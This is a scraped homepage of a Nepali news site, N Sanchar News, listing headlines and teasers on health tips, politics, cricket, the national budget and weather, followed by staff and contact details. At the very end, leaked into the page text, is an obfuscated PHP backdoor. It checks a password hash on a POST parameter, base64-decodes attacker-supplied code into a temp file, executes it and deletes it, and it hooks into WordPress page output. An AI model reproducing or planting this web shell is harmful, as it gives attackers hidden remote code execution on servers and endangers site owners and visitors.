Deprecated: Function is_staging_site is deprecated since version 3.3.0! Use in_safe_mode instead. in /home/ghargha2/nsancharonline.com/wp-includes/functions.php on line 6078
N SANCHAR NEWS – एन सञ्चार न्युज- Nawalpur's First Online Media Company – नवलपुरकै पहिलाे अनलाइन मिडिया कम्पनी
Deprecated: Function is_staging_site is deprecated since version 3.3.0! Use in_safe_mode instead. in /home/ghargha2/nsancharonline.com/wp-includes/functions.php on line 6078
  • सोमवार, असार ११, २०८१
  • | June 24, 2024
गर्मीमा कुन ड्राई फ्रुट्स कति र कसरी खाने ?

जाडोमा धेरै जसो मानिसले काजू–बदाम तथा अन्य धेरै प्रकारका ड्राई फ्रुट्स खाने गर्छन् । तर गर्मी मौसम लाग्ने बित्तिकै भने यसको सेवन गर्न छोड्ने गर्छन् । किनभने धेरैले गर्मीमा ड्राई फ्रुट्सको सेवनले शरीरमा गर्मी बढाउने गर्छ भन्ने मानसिकता राखेका हुन्छन् । तर विज्ञ र डाइटिशियनले भने मौसम अनुसारको ड्राई फ्रुट्सलाई आफ्नो आहारमा समावेश गर्ने...

स्मरणशक्ति बढाउन सहयाेग पुर्याउने खाद्दयबस्तुहरू ।

 स्मरणशक्तिमा ह्रास आउनु आजभोलिका मानिसहरुमा सामान्य समस्याकै रुपमा विकसित भइसकेको छ । धेरै मानिसहरुमा यो समस्या सामान्य रुपमा रहने गरे पनि केही मानिसहरुमा भने बिकराल रुप नै लिने गरेको हुन्छ । यसरी स्मरणशक्ति कमजोर भइ साना साना कुरा बिर्सिने बानी कालन्तरमा ठूलै रोग बनेर निस्किन्छ । तसर्थ समयमा नै त्यसलाई पहिचान गरी समाधानको बाटोमा लाग्नुपर्दछ...

नङ टोक्ने बानीले निम्त्याउन सक्छ यस्ता स्वास्थ्य जोखिमहरु

काठमाडौं । नङ टोक्ने बानी स–साना बालबालिकाको मात्र नभएर ठुलो व्यक्तिहरुको पनि हुने गर्छ । यस्तो बानीले हामीले घरमा गालि पनि खाइरहने गरेका हुन्छौँ । तर के तपाईंलाई थाहा छ नङ टोक्ने बानीले हाम्रो स्वास्थ्यमा कस्तो असर पार्न सक्छ ? नङ टोक्ने बानीले हामी गम्भीर रोगको शिकार पनि हुन सक्छौँ । यस्तो बानीले हाम्रो स्वास्थ्यमा...

संसद्का कर्मचारीको भत्ता बढाइने ।

१० असार, काठमाडौं । आन्दोलनरत संसद् सचिवायलका कर्मचारी र सरकारबीच ७ बुँदे सहमति भएको छ । सोमबार कानुन, न्याय तथा संसदीय मामिलामन्त्री पदम गिरी, संसद् सचिवालयका महासचिव पद्यप्रसाद पाण्डे र कर्मचारी युनियनबीच भएको वार्ता सहमतिमा पुगेको हो । सहमति अनुसार संसद् सचिवालयका कर्मचारीको आवास भत्ता, शैक्षिक भत्ता र खाजा खर्च बढ्ने छ । कर्मचारीहरूलाई प्रदान गरिंदै आएको...

सिधा कुराले प्रसारण गरेको अडियो झुटो रहेकाे प्रहरी अनुसन्धान प्रतिवेदनकाे निष्कर्ष

२२ जेठ, काठमाडौं । नेपाल प्रहरीको केन्द्रीय अनुसन्धान ब्यूरो (सीआईबी) को टोलीले सिधा...

गण्डकीमा नवनियुक्त मुख्यमन्त्री पाण्डेले लिए शपथ, मन्त्रिमण्डल पनि गठन

१६ जेठ, पोखरा । गण्डकी प्रदेशका मुख्यमन्त्री सुरेन्द्रराज पाण्डेले शपथ लिएका छन् ।...

नक्कली लाइसेन्स प्रकरणको अनुसन्धान अन्तिम चरणमा, प्रतिवेदन बुझाउने तयारी

४ जेठ, काठमाडौं । नक्कली लाइसेन्स प्रकरणको अनुसन्धान अन्तिम चरणमा पुर्‍याएर प्रतिवेदन बुझाउने...

बाटोमा ठोक्किएको निहुँमा विवाद, चक्कु हानेर हत्या

३० वैशाख, काठमाडौं । बाटो हिँड्ने क्रममा आपसमा ठोक्किएको निहुँमा उत्पन्न विवाद बढ्दै...

शनिबार नेपालको राष्ट्रिय टिम र ‘वेस्ट इन्डिज ए’ क्रिकेट टोलीसँग पहिलो टी २० खेल हुने West_Indies_A_Cricket_Team

वैशाख १२, काठमाडौं, पाँच खेलको टी २० सिरिज खेल्न ‘वेस्ट इन्डिज ए’को क्रिकेट टोली...

सुरुमा एमसीसीको अनुदान खर्च गर्ने सहमति

७ वैशाख, वासिङटन (अमेरिका) । नेपाल र अमेरिकी सहयोग नियोग मिलेनियम च्यालेन्ज कर्पोरेसन...

एमसीसी प्रसारण लाइनकाे जग्गा अधिग्रहण हुन अझै सकेन ।

१४ चैत, काठमाडौं । मिलेनियम च्यालेन्ज एकाउन्ट नेपाल (एमसीए) नेपाल आयोजना कार्यान्वयन (इन्ट्री...

वन र सेवा क्षेत्रमा समेत नेपाली श्रमिक लैजादै काेरिया

१ चैत, काठमाडौं । दक्षिण कोरियाले यो वर्ष (सन् २०२४)देखि रोजगार अनुमति प्रणाली...


फणीन्द्र देवकोटामाथि कारबाहीको निर्णय कार्यान्वयन नगर्न सर्वोच्चको आदेश

काठमाडौँ । सर्वोच्च अदालतले गण्डकी प्रदेशका निलम्बित सांसद फणीन्द्र देवकोटालाई कारबाही गर्ने निर्णय कार्यान्वयन नगर्न अन्तरिम आदेश जारी गरेको छ । सोमवार सर्वोच्चका न्यायाधीश प्रकाशमान सिंह राउतको एकल इजलासले यस्तो आदेश दिएको हो । माओवादी केन्द्रको चुनाव चिन्हबाट निर्वाचन लडेका नेपाल समाजवादी पार्टीका गण्डकी प्रदेश सांसद...


एमालेको राष्ट्रिय महाधिवेशन प्रतिनिधि परिषद् बैठक आजबाट सुरु

काठमाडौं । एमालेको राष्ट्रिय महाधिवेशन प्रतिनिधि परिषद् बैठक आज (शनिबार)बाट सुरु हुँदैछ । ललितपुरको गोदावरीस्थित सनराइज हलमा शनिबार दिउँसो सुरु हुने बैठकमा देशभरका एमालेका झण्डै २५ सय अगुवा नेता कार्यकर्ता सहभागी हुनेछन् । एमालेका अनुसार बैठकमा पार्टी अध्यक्ष केपी शर्मा ओलीले राजनीतिक प्रतिवेदन पेस गर्नुहुने छ...


हुरीले ढालेको रुखले लाग्दा एकजनाको मृत्यु

मध्यविन्दु (नवलपरासी) — नवलपरासी(बर्दघाट सुस्तापूर्व)को मध्यविन्दु नगरपालिका– १२ मा हुरीले ढालेको रुखले टाउकोमा लाग्दा ठूलोपोखरा सामुदायिक वनमा बाख्रा चराउन गएका स्थानीय ६९ वर्षीय चित्रबहादुर थापाको मृत्यु भएको छ ।  जिल्ला प्रहरी कार्यालय नवलपरासी(बर्दघाट सुस्तापूर्व)का प्रहरी नायब उपरीक्षक वेदबहादुर पौडलका अनुसार आज बिहानको हुरीले रुख ढालेको रुख...

दम्पतीबीचको झगडा कसरी सुल्झाउने ?

संसारमा कुनै जोडी छैन होला, जसले एकापसमा झगडा चाहन्छन् । तर  भनिन्छ नि, सबै...

मोटोपनबाट कसरी छुट्कारा पाउने ?

काठमाडौं । हिजोआज मोटोपनबाट धेरै जना हैरान छन् । मोटो शरीरलाई कसरी घटाउने भन्ने...

रवि लामिछानेका सिईओ भन्छन् कुनैपनि जागिर हामिले दिने होईन hemanta

साउन २०, चितवन : राष्ट्रिय स्वतन्त्र पार्टीका अध्यक्ष रवि लामिछानेले आफ्नो निर्वाचन क्षेत्र चितवन...

जनावरको मायाले जीवनशैली र जीवनको उद्देश्य नै बदलियो

मायाले मान्छेलाई बदल्छ । यो बैंसालु प्रेममा मात्र होइन, जीवन र जगतका अरू आयाममा पनि...

आज न्वागी‍ पर्व मनाउँदै चेपाङ समुदाय, तीन जिल्लामा सार्वजनिक बिदा

भदौ २२, चितवन : आज चेपाङ समुदायले छोनाम (न्वागी) पर्व मनाउँदै छन् । सो...

सुदूरपश्चिम र मध्यपश्चिममा गौरा एवं दुर्वाष्टमी पर्व मनाइँदै Gaura_Dadeldhura

भदौ ७, काठमाण्डौ : उमा महेश्वरसहित दुवोको पूजा गरेर सुदूरपश्चिम र मध्यपश्चिमवासीले आज उज्याली...

आर्थिक वर्ष २०८१/०८२ का लागि १८ खर्ब ६० अर्ब ३० करोडको बजेट (पूर्णपाठ)

काठमाडौं । अर्थमन्त्री वर्षमान पुनले आगामी आर्थिक वर्ष २०८१/०८२ का लागि १८ खर्ब ६० अर्ब ३० रुपैयाँको बजेट प्रस्तुत गर्नुभएको छ । . मंगलबार संघीय संसदमा बजेट प्रस्तुत गर्दै अर्थमन्त्री पुनले १८ खर्ब ६० अर्ब ३० करोड रुपैयाँको बजेट प्रस्तुत गर्नुभएको हो । उहाँले कुल विनियोजनमध्ये...

नेपाल र नेदरल्यान्डबीचको आजको खेल टुँडिखेलमा प्रत्यक्ष प्रसारण हुने

काठमाडौं । आईसीसी टि–२० विश्वकप २०२४ अन्तर्गतको नेपाल र नेदरल्यान्ड बीचको खेल ओपन डोर इन्टरनटेनमेन्ट र काठमाडौँ महानगरपालिकाको सहकार्यमा टुँडिखेलबाट प्रत्यक्ष प्रसारण गरिने भएको छ । यस प्रत्यक्ष प्रशारण कार्यक्रममा युवा तथा खेलकुद मन्त्रालयले पनि समन्वय गर्नेछ । खेलकुद तथा युवा मन्त्री बिराज भक्त श्रेष्ठको उपस्थितिमा...

गर्मीमा कुन ड्राई फ्रुट्स कति र कसरी खाने ?

जाडोमा धेरै जसो मानिसले काजू–बदाम तथा अन्य धेरै प्रकारका ड्राई फ्रुट्स खाने गर्छन्...

स्मरणशक्ति बढाउन सहयाेग पुर्याउने खाद्दयबस्तुहरू ।

 स्मरणशक्तिमा ह्रास आउनु आजभोलिका मानिसहरुमा सामान्य समस्याकै रुपमा विकसित भइसकेको छ । धेरै...

नङ टोक्ने बानीले निम्त्याउन सक्छ यस्ता स्वास्थ्य जोखिमहरु

काठमाडौं । नङ टोक्ने बानी स–साना बालबालिकाको मात्र नभएर ठुलो व्यक्तिहरुको पनि हुने गर्छ...

एन्जाइटीको कारण हुनसक्छ प्यानिक अट्याक

प्यानिक अट्याक एक प्रकारको मस्तिष्कमा हुने आक्रमण हो । यसमा एक्कासि डर लाग्ने...

यूपीमा भाजपालाई झट्का, राम मन्दिर रणनीति फ्लप

२२ जेठ, काठमाडौं । भारतमा लोक सभा निर्वाचनको प्रारम्भिक रुझानमा सत्तारुढ भारतीय जनता...

भारतमा आजबाट लोकसभा चुनाव

७ वैशाख, काठमाडौं । भारतमा लोकसभा चुनाव सुरु भएको छ । पहिलो चरणमा...

भारतले आज ७५ औं गणतन्त्र दिवस मनाउँदै

एजेन्सी । भारतको आज ७५ औं गणतन्त्र दिवस । यस अवसरमा भारतले आज...

संसद्का कर्मचारीको भत्ता बढाइने ।

१० असार, काठमाडौं । आन्दोलनरत संसद् सचिवायलका कर्मचारी र सरकारबीच ७ बुँदे सहमति...

सिधा कुराले प्रसारण गरेको अडियो झुटो रहेकाे प्रहरी अनुसन्धान प्रतिवेदनकाे निष्कर्ष

२२ जेठ, काठमाडौं । नेपाल प्रहरीको केन्द्रीय अनुसन्धान ब्यूरो (सीआईबी) को टोलीले सिधा...

गण्डकीमा नवनियुक्त मुख्यमन्त्री पाण्डेले लिए शपथ, मन्त्रिमण्डल पनि गठन

१६ जेठ, पोखरा । गण्डकी प्रदेशका मुख्यमन्त्री सुरेन्द्रराज पाण्डेले शपथ लिएका छन् ।...

मनसुनी प्रणाली देशभर फैलियो

काठमाण्डाै – मनसुनी प्रणाली देशभरि फैलिएको छ । जुन १० तारिख अर्थात् गएको जेठ...

२०८१ शालमा अधिक वर्षाकाे अनुमान, विपद् व्यवस्थापनको पूर्व तयारीमा सरकार

काठमाडौं । नेपालमा मनसुन भित्रिने तरखर हुँदै गर्दा यो वर्ष अधिक वर्षा हुने र...

तराई–मधेशमा वैशाख २० सम्मै तातो हावा चल्ने, सतर्क रहन माैसम पुर्वानुमान महासाखाकाे अपिल

१६ वैशाख, काठमाडौं । लुम्बिनी प्रदेशसहित तराईका विभिन्न भूभागमा अझै ५ दिनसम्म तातो हावा...

हाम्रो बारेमा

“सुचना समाचार र मनाेरञ्जनकाे विस्वासिलो आधार, सत्य तथ्य र निष्पक्ष एन सञ्चार” भन्ने मुलमन्त्रलाइ आत्मासाथ गर्दै नवलपरासीको कावासोतीबाट सम्भवतः पहिलो व्यक्तिगत अनलाइन मिडियाको रुपमा स्थापित यस एन.सञ्चार मिडिया आफुमा एक निष्पक्ष र तटस्थ अनलाइन मिडिया कम्पनी हो । 

विस्तृत ……………………………….

 

सन्चालक समुह

“एन. सन्चार मिडिया प्रा.ली. द्वारा सञ्चालित “

www.nsancharonline.com

     अध्यक्ष एवं प्रबन्धक  : निस्चल गौडेल

              सम्पादक : प्रकाश भुषाल       

                   सह-सम्पादक : दिपेन्द्र रेग्मी             

व्यवस्थापकः राजु श्रेष्ठ

 लेखा व्यवस्थापकः सरू सर्मा

डिजाइनर : गोविन्द भण्डारी

कानुनी सल्लाहकार : बालकृष्ण पौडेल        विस्तृत

सामाजिक संजालमा पछ्याउनुहाेस ।

  • A1soft

विस्तृत जानकारीका लागी

एन.सन्चार मिडिया प्रा.ली.

कावासाेती ३ सभापतिचाेक, नवलपुर

कम्पनि दर्ता नं. : २६२४७७

सुचना तथा प्रसारण बिभाग दर्ता नं. : २९४५

Official Mail:

nsancharmedia@gmail.com

info@nsancharonline.com

Contact : 9857077744 , 9846277744, 9742912766

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}